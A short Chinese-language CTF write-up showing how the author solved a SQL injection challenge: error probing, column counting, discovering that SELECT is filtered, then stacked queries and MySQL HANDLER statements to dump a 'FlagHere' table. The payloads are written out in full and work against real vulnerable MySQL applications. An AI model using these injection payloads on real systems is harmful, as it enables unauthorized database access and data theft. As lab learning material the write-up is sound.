这题我一开始还以为是rce,但是看到注入框内写了1,那就肯定是sql
提交1
1' 报错,更加确定是sql
1' order by 2 -- +
说明是两列
1' union select 1,#
发现select被过滤了
这里我想起了之前做的强网杯的随便住,也是被过滤了,然后使用的堆叠注入
1';show tables -- +
1'; show columns from FlagHere; -- +
获得列名
后面不晓得了,才知道有handler语句
参考【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客
HANDLER
可以通过指定的索引去访问数据。但此语法并不支持DML操作。
1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
也就是通过HANDLER从FlagHere
表中,读取第一个索引记录,然后关闭